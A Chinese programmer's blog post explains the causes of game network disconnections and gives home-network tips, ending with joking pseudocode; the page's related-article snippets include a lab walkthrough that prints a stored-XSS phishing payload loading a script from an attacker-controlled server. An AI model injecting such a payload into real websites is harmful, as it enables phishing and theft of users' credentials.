泪目!网络连接中断的原因,终于找到了!

朋友们,出大事了!

不知道多少朋友玩过 DNF 这个游戏,这个我从小学玩到大学的 “破” 游戏,昨天竟然出手游了!

我都忘了自己曾几何时预约过这个手游通知,昨天给我发了条通知信息说游戏已开服。

老玩家直接泪目了啊:时空之门,开!

好心动啊,然而我心中有一个声音告诉自己:不能下!不能下!不能下!

因为根据我自己小时候凌晨偷摸爬起来玩游戏冲级的沉迷经历,一旦我玩了,公司基本就没救了,本来就忙的一批,怎能让一个小 “破” 游戏,影响了我的大事!

玩笑话

言归正传,无论大家有没有玩过这个,我相信大家都有过玩游戏或工作时 “网络连接中断” 的经历吧。

我小时候还真就遇到过刚刚爆了好装备,就网络连接中断的情况,当时都给我气哭了,心里把策划的祖宗十八代都问候了一遍。

但做了程序员之后,我现在已经能够理解为什么会出现网络连接中断、服务器挤不进去、游戏延迟的情况了。

这篇文章就从技术的角度出发,给大家科普一些网络方面的概念,也许能帮你打游戏更快哦~

网络小知识

一、网络连接中断的常见原因

1、网络延迟大或不稳定

延迟:指数据包从发送端到接收端所需的时间。这个概念在游戏中,尤其是 FPS 第一人称射击游戏和 RTS 实施策略游戏中尤为重要。因为延迟会导致操作反馈的滞后,玩家可能会感觉到游戏操作不流畅,甚至出现瞬间卡顿。

抖动:指数据包传输时间的变化。当抖动过大时,会导致数据包到达时间不一致,从而影响游戏体验。典型的现象就是,玩家可能会看到游戏角色突然移动到另一个位置,实现 “瞬移”。

丢包:在数据传输过程中,某些数据包丢失,未能成功到达目的地。丢包会导致游戏中的信息不完整、出现卡顿、画面跳动等问题。丢包率较高时,游戏基本就没法玩了,持续丢包就有可能导致服务器断开连接。

小时候我家里网络差,最心酸的事情是因为网络延迟跳过自己的行动回合、或者因为抖动和丢包导致怪物满屏乱飘,当时戏称这些是 “游戏特性”。

2、带宽不足

即使不是程序员,我相信大家对带宽这个概念也并不陌生。带宽是指单位时间内可以传输的数据量,它很大程度上决定了网速的快慢。

带宽分为上行带宽和下行带宽。上行带宽指的是从客户端(如家庭网络)向服务器发送数据的速度,理解为上传;下行带宽则是从服务器向客户端传输数据的速度,理解为下载。

当多个设备同时使用网络时,如果带宽不足,尤其是上行带宽不足,就会导致网络拥堵,影响游戏数据的传输速度。

需要注意的是,即使你家的网络速度很快,游戏体验也不一定会很好。因为网络通信是客户端和服务端双向的。如果游戏公司的服务器本身性能较差、带宽较小,即使你的带宽很高,网络传输的性能也不会很好,进而影响游戏体验。

3、服务端问题

前面也提到了,除了自己的网络外,服务端也是影响网络连接和速度的决定性因素。比如游戏开服或秒杀活动上线时,瞬时间会有大量的流量涌入服务器,如果服务器没有做好流量预估、扩容和相应的处理措施,很可能出现网络拥塞、服务器过载等问题,导致玩家的网络连接不稳定。

为了避免网络拥塞和服务器过载,通常每个服务器都会设置一个允许连接的最大用户数。所以才会出现下图的名场面:

此外,一般游戏更新维护的时间都在凌晨或者玩家访问量不大的时候;而且为了保证游戏数据不出问题、更好地进行测试,很多游戏会选择停机维护。

哦对了,如果游戏服务器不幸被 DDoS 攻击,也有可能会造成网络连接中断。

4、其他原因

除了上面几点我们最明显能感受到的网络问题外,还有一些我们可能感受不到的影响网络的因素,比如路由器配置和硬件问题、邻近 Wi-Fi 网络干扰等。

二、网络优化小建议

分享了一些网络知识后,再聊一聊可行的网络优化小建议吧,我相信很多同学都实践过。

1)尽量使用有线连接,会比无线连接更稳定,减少干扰。

2)选择一个覆盖面广的路由器,可以定期检查和更新固件,提升设备性能和稳定性。

3)除了升级自家带宽外,平时可以多关注网络带宽的使用占比。因为现在很多应用都会在后台默默传输一些数据,积少成多。追求极致性能的话,可以用一些网络监控工具来分析带宽占用,在打游戏时关闭掉一些软件。

有位大佬开源了一款免费的网络监控工具 TrafficMonitor,分享给大家:https://github.com/zhongyang219/TrafficMonitor

4)选择合适的游戏服务器。这点其实很重要,建议选择离自己地理位置较近的服务器。我小时候不懂,家在江苏,非要去选个什么广东的游戏大区。

5)使用专线网络或游戏加速器。原理就是让工具来帮我们选择更合适的服务器节点、并且优化数据的传输路径。但是这玩意我小时候打游戏的时候就不爱用,免费的没啥效果,收费的又搞不起。

6)调整路由器的 QoS 设置。QoS(服务质量)是在网络上为不同应用程序分配带宽的技术,可以优先分配游戏所需的带宽,尽量保证游戏数据包的通信质量。

最后

除了上面这些知识点外,其实我自己脑洞挺大的,还想了很多关于 “网络连接中断” 的猜想。比如写下这样一段代码,吸引用户充值:

if (用户 A 爆了装备 1) {if (装备 1 是稀有装备) {if (用户没充值) {// 强行中断网络连接connect.close()}}
}

或者这样一段代码,让会员用户体验拉满!

if (服务器人数已满) {if (用户 A 是普通用户) {弹窗提示("服务器人数已满")} else if (用户 A 是会员) {// 允许进入服务器connect.start()// 让一个普通用户网络连接中断userBconnect.close()}
}

仅供娱乐,如果你是一家游戏公司的开发和策划,请别这么干谢谢!

可访问我的 Github:https://github.com/liyupi ,了解更多技术和项目内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/330958.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一些常见的程序设计问题

秒杀 redis缓存库存 1.判断库存名额是否充足,2.进行扣减 为了防止超卖,必须保证这两部的原子性 库存扣减后发送mq消息,去异步执行创建订单流程,创建订单失败会造成少卖。可加重试机制,对多次重试依旧失败的&#xff…

基于Netty实现WebSocket服务端

本文基于Netty实现WebSocket服务端,实现和客户端的交互通信,客户端基于JavaScript实现。 在【WebSocket简介-CSDN博客】中,我们知道WebSocket是基于Http协议的升级,而Netty提供了Http和WebSocket Frame的编解码器和Handler&#…

解锁数据关联之道:SQL 表连接详解

文章目录 概述表关系横向连接内连接 inner join左连接 left join右连接 right join全连接 full join交叉连接 cross join 纵向合并UNION ALLUNION 概述 在数据处理、数据分析中常会用到表连接。表连接的作用是将多个表中的数据关联起来,以便在查询过程中获取更全面…

设计模式—23种设计模式重点 表格梳理

设计模式的核心在于提供了相关的问题的解决方案,使得人们可以更加简单方便的复用成功的设计和体系结构。 按照设计模式的目的可以分为三大类。创建型模式与对象的创建有关;结构型模式处理类或对象的组合;行为型模式对类或对象怎样交互和怎样…

正确可用--Notepad++批量转换文件编码为UTF8

参考了:Notepad批量转换文件编码为UTF8_怎么批量把ansi转成utf8-CSDN博客​​​​​​https://blog.csdn.net/wangmy1988/article/details/118698647我参考了它的教程,但是py脚本写的不对. 只能改一个.不能实现批量更改. 他的操作步骤没问题,就是把脚本代码换成我这个. #-*-…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

uniapp+canvas实现逐字手写效果

在移动端使用 UniApp 进行逐字手写的功能。用户可以在一个 inputCanvas 上书写单个字&#xff0c;然后在特定时间后将这个字添加到 outputCanvas 上&#xff0c;形成一个逐字的手写效果。用户还可以保存整幅图像或者撤销上一个添加的字。 初始化 Canvas&#xff1a; 使用 uni.c…

使用FFmpeg推流实现在B站24小时点歌直播

使用FFmpeg推流实现在B站24小时点歌直播 本文首发于个人博客 安装FFmpeg centos7 https://www.myfreax.com/how-to-install-ffmpeg-on-centos-7/ https://linuxize.com/post/how-to-install-ffmpeg-on-centos-7/ 使用FFmpeg在B站直播 https://zhuanlan.zhihu.com/p/2395…

超级初始网络

目录 一、网络发展史 1、独立模式 2、局域网 LAN&#xff08;Local Area Network&#xff09; 3、广域网 WAN (Wide Area Network) 二、网络通信基础 1、IP地址&#xff1a;用于定位主机的网络地址 2、端口号&#xff1a;用于定位主机中的进程 3、网络协议 4、五元组 …

基于卷积神经网络的交通标志识别(pytorch,opencv,yolov5)

文章目录 数据集介绍&#xff1a;resnet18模型代码加载数据集&#xff08;Dataset与Dataloader&#xff09;模型训练训练准确率及损失函数&#xff1a;resnet18交通标志分类源码yolov5检测与识别&#xff08;交通标志&#xff09; 本文共包含两部分&#xff0c; 第一部分是用re…

LeetCode 279 —— 完全平方数

阅读目录 1. 题目2. 解题思路3. 代码实现 1. 题目 2. 解题思路 此图利用动态规划进行求解&#xff0c;首先&#xff0c;我们求出小于 n n n 的所有完全平方数&#xff0c;存放在数组 squareNums 中。 定义 dp[n] 为和为 n n n 的完全平方数的最小数量&#xff0c;那么有状态…

mysql中text,longtext,mediumtext区别

文章目录 一.概览二、字节限制不同三、I/O 不同四、行迁移不同 一.概览 在 MySQL 中&#xff0c;text、mediumtext 和 longtext 都是用来存储大量文本数据的数据类型。 TEXT&#xff1a;TEXT 数据类型可以用来存储最大长度为 65,535(2^16-1)个字符的文本数据。如果存储的数据…

【服务器】使用mobaXterm远程连接服务器

目录 1、安装mobaXterm2、使用mobaXterm3、程序后台保持运行状态 1、安装mobaXterm 下载地址&#xff1a;https://mobaxterm.mobatek.net/download.html 下载免费版 分为蓝色便携版&#xff08;下载后可直接使用&#xff09;和绿色安装版&#xff08;需要正常安装后使用&…

【老王最佳实践-6】Spring 如何给静态变量注入值

有些时候&#xff0c;我们可能需要给静态变量注入 spring bean&#xff0c;尝试过使用 Autowired 给静态变量做注入的同学应该都能发现注入是失败的。 Autowired 给静态变量注入bean 失败的原因 spring 底层已经限制了&#xff0c;不能给静态属性注入值&#xff1a; 如果我…

Go语言(Golang)的开发框架

在Go语言&#xff08;Golang&#xff09;的开发中&#xff0c;有多种开发框架可供选择&#xff0c;它们各自具有不同的特点和优势。以下是一些流行的Go语言开发框架&#xff0c;选择Go语言的开发框架时&#xff0c;需要考虑项目需求、团队熟悉度、社区支持、框架性能和可维护性…

docker- 购建服务镜像并启动

文章目录 前言docker- 购建服务镜像并启动1. 前期准备2. 构建镜像3. 运行容器4. 验证 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实…

基于微信小程序的校园捐赠系统的设计与实现

校园捐赠系统是一种便捷的平台&#xff0c;为校园内的各种慈善活动提供支持和便利。通过该系统&#xff0c;学生、教职员工和校友可以方便地进行捐赠&#xff0c;并了解到相关的项目信息和捐助情况。本文将介绍一个基于Java后端和MySQL数据库的校园捐赠系统的设计与实现。 技术…

PGP软件安装文件加密解密签名实践记录

文章目录 环境说明PGP软件安装PGP软件汉化AB电脑新建密钥并互换密钥对称密钥并互换密钥 文件加密和解密A电脑加密B电脑解密 文件签名A电脑签名文件B电脑校验文件修改文件内容校验失败修改文件名称正常校验 环境说明 使用VM虚拟两个win11,进行操作演示 PGP软件安装 PGP软件下…

【Andoird开发】android获取蓝牙权限,搜索蓝牙设备MAC

<!-- Android 12以下才需要定位权限&#xff0c; Android 9以下官方建议申请ACCESS_COARSE_LOCATION --><uses-permission android:name"android.permission.ACCESS_COARSE_LOCATION" /><uses-permission android:name"android.permission.ACCES…

通过域名接口申请免费的ssl多域名证书

来此加密已顺利接入阿里云的域名接口&#xff0c;用户只需一键调用&#xff0c;便可轻松完成域名验证&#xff0c;从而更高效地申请证书。接下来&#xff0c;让我们详细解读一下整个操作过程。 来此加密官网 免费申请SSL证书 免费SSL多域名证书&#xff0c;泛域名证书。 首先&a…